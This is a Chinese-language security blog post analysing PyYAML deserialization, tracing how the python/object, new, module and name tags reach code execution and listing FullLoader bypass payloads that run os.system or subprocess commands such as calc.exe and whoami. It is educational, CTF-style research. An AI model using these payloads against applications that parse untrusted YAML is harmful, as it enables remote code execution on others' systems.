PyYaml反序列化

PyYaml 反序列化

之前做题还是比赛的时候碰到过一次,不是很懂原理,最近整理成知识块出来。

PyYaml使用方法

!!标签用于描述yaml文件存储的数据转化为python对象的解析格式

import yaml
import os

poc1 = "!!python/object/apply:nt.system [calc.exe]"
poc2 = '!!python/object/new:os.system ["calc.exe"]'

yaml.load(poc1, Loader=yaml.Loader)
yaml.load(poc2, Loader=yaml.Loader)

调试

PyYaml < 5.1 的反序列化分析

1. python/object/apply

demo:

import yaml
poc1 = "!!python/object/apply:os.system ['calc.exe']"
# yaml.load("""
#!!python/object/apply:subprocess.Popen
#  - calc
#""")
yaml.load(poc1, Loader=yaml.Loader)

主要经过了construct_python_object_apply该函数进行构造

  • 在load函数中进行了Lodaer的加载,然后跟进get_singler_data

    image-20231012111421716

  • get_single_node返回node链表,然后再作为参数进入construct_document

image-20231012124044476

  • 然后在进入construct_object

image-20231012125502065

  • 重点关注constructor并进入

image-20231012125556568

  • construct_python_object_apply函数中,首先提取参数等。然后重点关注,find_python_instance函数并进入

image-20231012125710649

  • 重点进入find_python_name

首先提取了module_nameobject_name,然后使用__import__方法进行导入相应包

然后通过字典索引访问获取对应句柄:module = sys.modules[module_name]

最后通过getattr方法获取对应的方法

image-20231012140208112

  • 最后cls(*args, **kwds)执行函数

image-20231012113035087

2. python/object/new

import yaml
poc2 = "!!python/object/new:os.system ['calc.exe']"		# 
yaml.load(poc2, Loader=yaml.Loader)

对于new则进入相应的函数construct_python_object_new

image-20231012142341230

本质上还是在调用construct_python_object_apply

3. python/object

在漏洞利用上必须使用如下格式:

!!python/object: {..}

所以一般使用无参函数来执行

4. python/module:package.class

先部署恶意文件

image-20231012150346194

在相同目录下:

import yaml
poc = "!!python/module:evil"
yaml.load(poc, Loader=yaml.Loader)
  • 调用栈如下

image-20231012150732986

  • 主要区别是进入constructor之后,函数为construct_python_module

image-20231012151002894

  • 然后在find_python_module里导入相应的文件并且执行

image-20231012151120569

5. python/name

可以读一些关键的环境变量

secret = "flag_is_here"
# 获得__main__的符号表
poc = "!!python/name:__main__.secret"
exp = yaml.load(poc, Loader=yaml.Loader)
print(exp)
  • 对应的函数为construct_python_name

image-20231012152414889

  • 然后进入find_python_name,导入__main__,然后使用__import__导入并使用getattr获取参数

image-20231012152554859

PyYaml >= 5.1 的反序列化分析

1. 新增的机制

  • 关于Loader:

对Loader进行新增和划分

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. UnsafeConstructor:支持全部的强制类型转换
  4. Constructor:等同于 UnsafeConstructor

以及会在yaml.load的时候进行warn提示使用合理的loader

2. 受影响的函数和构造器

在使用UnsafeLoader和Loader的情况下,小于5.1的payload一般都可以使用

import yaml
exp = ".."
yaml.unsafe_load(exp)
yaml.unsafe_load_all(exp)           # return生成器
yaml.load(exp, Loader=yaml.UnsafeLoader)
yaml.load(exp, Loader=yaml.Loader)      
yaml.load_all(exp, Loader=yaml.UnsafeLoader)
yaml.load_all(exp, Loader=yaml.Loader)

3. Attack

1. FullConstructor-Attack

FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。

整个调用流程与低于5.1版本的yaml反序列化过程差不多,主要是在find_python_name函数中有所不同

在不使用UnsafeLoader的时候,unsafe会取默认值为False。所以无法进行__import__

    def find_python_name(self, name, mark, unsafe=False):
        if not name:
            raise ConstructorError("while constructing a Python object", mark,
                    "expected non-empty name appended to the tag", mark)
        if '.' in name:
            module_name, object_name = name.rsplit('.', 1)
        else:
            module_namque = 'builtins'
            object_name = name
        if unsafe:			# FullLoader加载器无法运行这段代码
            try:
                __import__(module_name)
            except ImportError as exc:
                raise ConstructorError("while constructing a Python object", mark,
                        "cannot find module %r (%s)" % (module_name, exc), mark)
        if not module_name in sys.modules:		# 只允许加载sys.modules中模块
            raise ConstructorError("while constructing a Python object", mark,
                    "module %r is not imported" % module_name, mark)
        module = sys.modules[module_name]
        if not hasattr(module, object_name):
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find %r in the module %r"
                    % (object_name, module.__name__), mark)
        return getattr(module, object_name)

而且也会检查find_python_name的返回结果是否为type

image-20231012200459538

所以加载进来的getattr(module, object_name)必须是类,不能是函数

可以使用函数的情况来测试下:

payload:!!python/object/new:builtins.eval [“print(1)”]

import yaml

FailPoc = "!!python/object/new:builtins.eval [“print(1)”]"
yaml.load(FailPoc, Loader=yaml.FullLoader)

嘿嘿嘿,直接抛出异常了

image-20231012203737223

  • 可用payload
poc1="""
!!python/object/apply:subprocess.Popen
  - whoami
"""

poc2 = """
tuple(map(eval, ["__import__('os').system('whoami')"]))
"""
# 其中tuple可以换成list、map、set、Bytes、frozenset等
2. extend-Attack

这是在Boogipop的博客上看到的trick,甚是奇妙,有点”偷梁换柱“的美感

payload

!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('calc.exe')"

分析:

首先这是一个type类型,然后将extend参数设置为!!python/name:exec

最后是需要声明listitem,如果我们可以将extend的方法替换成相应的eval等,那么也就可以执行listitems中的内容了

image-20231012211848459

3. setstate-Attack、update-Attack

由第二种方法同理可以衍生出类似的方法,只需要寻找类似的模式即可:

image-20231012212412729

payload如下:

# 打instance.__setstate__
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"__setstate__": !!python/name:exec }
state: "__import__('os').system('calc.exe')"
# 打slostate.update
!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      - !!python/object/new:staticmethod
        args: []
        state: 
          update: !!python/name:eval
          items: !!python/name:list
update-attack:多层嵌套的反序列化

反序列化原则:由内到外

首先加载!!python/object/new:staticmethod

image-20231012223842364

由于设置了state,所以进入该函数内,为字典进行更新

此时该对象含有了键值对

update: !!python/name:eval
items: !!python/name:list

image-20231012224218427

然后加载最外层的str

image-20231012224835108

由于payload中设置了state参数,所以进入set_python_instance_state

首先先进行解包获得恶意代码state,由于str没有__dict__属性,所以绕过了hasattr,直接执行slotstate.update(state)

image-20231012230802352

PyYaml的5.2-6.0下的问题

高版本下这个洞就gg了

参考链接

  1. https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/

  2. https://boogipop.com/2023/03/02/PyYAML反序列化/#YAML基本语法

posted @ 2023-10-12 23:13  Icfh  阅读(132)  评论(0编辑  收藏  举报